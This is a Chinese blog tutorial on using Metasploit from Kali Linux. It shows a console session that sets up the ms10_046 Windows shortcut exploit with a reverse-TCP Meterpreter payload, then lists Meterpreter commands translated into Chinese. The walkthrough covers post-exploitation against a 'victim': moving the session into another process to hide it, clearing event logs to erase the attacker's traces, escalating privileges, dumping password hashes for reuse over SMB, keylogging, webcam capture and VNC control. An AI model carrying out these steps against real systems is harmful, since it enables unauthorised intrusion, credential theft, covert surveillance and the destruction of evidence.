不多说，直接上干货！
说在前面的话
注意啦：Meterpreter的命令非常之多，本篇博客下面给出了所有，大家可以去看看。给出了详细的中文
由于篇幅原因，我只使用如下较常用的命令。
这篇博客，利用下面的这个xploit/windows/browser/ms10_046_shortcut_icon_dllloader漏洞来带领大家。
前期博客
Kali linux 2016.2（Rolling）里Metasploit连接（包括默认和自定义）的PostgreSQL数据库
Kali linux 2016.2（Rolling）里Metasploit连接（包括默认和自定义）的PostgreSQL数据库之后的切换到指定的工作空间
这个大家，养成好习惯，进入到这里。
root@kali:~# msfconsole
.~+P``````-o+:. -o+:.
.+oooyysyyssyyssyddh++os-````` ``````````````` `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.` .-.-...-////+++++++++++++++////////~~//////++++++++++++///
`...............` `...-/////...`
.::::::::::-. .::::::-
.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
:Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
.sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
-Nd` :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
-Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
`oo/``-hd: `` .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
.yNmMMh//+syysso-`````` -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
.shMMMMN//dmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/
`///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
/MMMMMMMMMMMMMMMMMMd. `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
-hMMmssddd+:dMMmNMMh. `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
.sMMmo. -dMd--:mN/` ||--X--|| ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================
Press ENTER to size up the situation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to continue
Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit
=[ metasploit v4.12.41-dev ]
+ -- --=[ 1597 exploits - 912 auxiliary - 274 post ]
+ -- --=[ 458 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
msf > db_status
[*] postgresql connected to msf
msf > db_disconnect
msf > db_connect postgres:postgres@127.0.0.1/postgres
[*] Rebuilding the module cache in the background...
msf > db_status
[*] postgresql connected to postgres
msf > workspace
* default
001
002
msf > workspace 001
[*] Workspace: 001
msf >
msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) > show options
Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The daemon port to listen on (do not change)
SSLCert no Path to a custom SSL certificate (default is randomly generated)
UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4).
URIPATH / yes The URI to use (do not change).
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms10_046_shortcut_icon_dllloader) >
msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 202.193.58.13
SRVHOST => 202.193.58.13
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 202.193.58.13
LHOST => 202.193.58.13
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
[*] Exploit running as background job.
[-] Handler failed to bind to 202.193.58.13:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
msf exploit(ms10_046_shortcut_icon_dllloader) > [*] Send vulnerable clients to \\202.193.58.13\bPxC\.
[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (202.193.58.13:80).
所以，改换成，192.168.1.103了。
这里会话id是2。
以下是meterpreter 的总浏览：meterpreter > help
Core Commands 核心命令
================
Command Description
------- -----------
? Help menu 帮助菜单
background Backgrounds the current session 将当前会话抛到后台
bgkill Kills a background meterpreter script 杀死一个背景 meterpreter 脚本
bglist Lists running background scripts 提供所有正在运行的后台脚本的列表
bgrun Executes a meterpreter script as a background thread 作为一个后台线程运行脚本
channel Displays information or control active channels 显示动态频道的信息
close Closes a channel 关闭一个频道
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session 终止 meterpreter 会话
get_timeouts Get the current session timeout values
help Help menu 帮助菜单
info Displays information about a Post module
irb Drop into irb scripting mode 进入 Ruby 脚本模式
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process 移动meterpreter到一个指定的 PID 的活动进程
quit Terminate the meterpreter session 终止 meterpreter 会话
read Reads data from a channel 从通道读取数据
resource Run the commands stored in a file
run Executes a meterpreter script or Post module 从频道读数据
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load' 加载一个或多个meterpreter 的扩展
uuid Get the UUID for the current session
write Writes data to a channel 将数据写入到一个频道
Stdapi: File system Commands 文件系统命令
=====================================
Command Description
------- -----------
cat Read the contents of a file to the screen 读取并输出到标准输出文件的内容
cd Change directory 对受害人更改目录
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory 从受害者系统文件下载
edit Edit a file 用 vim编辑文件
getlwd Print local working directory 打印本地目录
getwd Print working directory 打印工作目录
lcd Change local working directory 更改本地目录
lpwd Print local working directory 打印本地目录
ls List files 列出在当前目录中的文件列表
mkdir Make directory 在受害者系统上的创建目录
mv Move source to destination
pwd Print working directory 输出工作目录
rm Delete the specified file 删除文件
rmdir Remove directory 受害者系统上删除目录
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory 从攻击者的系统往受害者系统上传文件
Stdapi: Networking Commands 网络命令
=====================================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces 显示网络接口的关键信息，包括 IP 地址、 等。
netstat Display the network connections
portfwd Forward a local port to a remote service 端口转发
resolve Resolve a set of host names on the target
route View and modify the routing table 查看或修改受害者路由表
Stdapi: System Commands 系统命令
=====================================
Command Description
------- -----------
clearev Clear the event log 清除了受害者的计算机上的事件日志
drop_token Relinquishes any active impersonation token. 被盗的令牌
execute Execute a command 执行命令
getenv Get one or more environment variable values
getpid Get the current process identifier 获取当前进程 ID (PID)
getprivs Attempt to enable all privileges available to the current process 尽可能获取尽可能多的特权
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as 获取作为运行服务器的用户
kill Terminate a process 终止指定 PID 的进程
localtime Displays the target system's local date and time
ps List running processes 列出正在运行的进程
reboot Reboots the remote computer 重新启动受害人的计算机
reg Modify and interact with the remote registry 与受害人的注册表进行交互，即可以修改受害人的注册表
rev2self Calls RevertToSelf() on the remote machine 在受害者机器上调用 RevertToSelf()
shell Drop into a system command shell 在受害者计算机上打开一个shell
shutdown Shuts down the remote computer 关闭了受害者的计算机
steal_token Attempts to steal an impersonation token from the target process 试图窃取指定的 (PID) 进程的令牌
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS 获取有关受害者计算机操作系统和名称等的详细信息
Stdapi: User interface Commands
=====================================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations 列出所有可访问桌面和windows工作站
getdesktop Get the current meterpreter desktop 获取当前的 meterpreter 桌面
idletime Returns the number of seconds the remote user has been idle 检查长时间以来，受害者系统空闲进程。或者说远程用户闲置时间
keyscan_dump Dump the keystroke buffer 键盘记录软件的内容转储
keyscan_start Start capturing keystrokes 启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop Stop capturing keystrokes 停止键盘记录软件
screenshot Grab a screenshot of the interactive desktop 抓去 meterpreter 桌面的屏幕截图
setdesktop Change the meterpreters current desktop 更改 meterpreter 桌面
uictl Control some of the user interface components 启用用户界面组件的一些控件或者说用户接口控制
Stdapi: Webcam Commands
=====================================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands 特权升级命令
=====================================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system. 获得系统管理员权限
Priv: Password database Commands 密码数据库的命令
=====================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database 抓去哈希密码 (SAM) 文件中的值 或者说 SAM存储，即说白了就是提取远程系统的hash密码
得到之后，然后可以结合 windows/smb/psesec，来通过smb登录远程系统
Priv: Timestomp Commands 时间戳命令
=====================================
Command Description
------- -----------
timestomp Manipulate file MACE attributes 操作修改，访问，并创建一个文件的属性
Incognito Commands
=====================================
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token
这里，本篇博文，我重点带大家讲解几个就好，其余的自行去玩。
1、 background 将当前会话转移到后台
达到后台进程切换的目的。
2、migrate 迁移会话进程到指定pid
达到隐藏控制会话的进程，此时原来的进程是看不到的目的。
通过ps可以看到受害机的哪些进程。比如我这里弄1824
3、clearev 清除系统事件
打开事件查看器
windows中事件查询器
为了，不让暴露我们攻击者的痕迹行为。
清楚攻击机的事件发生器，此时再看对方（即被害主机）里面啥都没了。
查看会话进程的pid
查看权限
shell命令，是进入cmdshell
按ctrl+z返回到后台
sysinfo，来查看系统信息
screenshot ，截屏并保存到一个文件
getsystem，提升至system系统最高权限
Meterpreter下的run脚本使用
连续按两下tab，得到
run hashdump 来获取系统账号hash
注意：这个脚本的使用，是事先得要getsystem后，才能有效。
run post/windows/gather/enum_applications 获取系统安装程序
run vnc 用vnc控制对方桌面
run winenum 运行windows常用枚举信息
枚举信息会保存到一个文件中可以看
run packetrecorder -i 1 开启抓包
参考：菜鸟腾飞安全网VIP《MetaSploit渗透测试平台之应用》
来源：oschina
链接：https://my.oschina.net/u/4400801/blog/4262249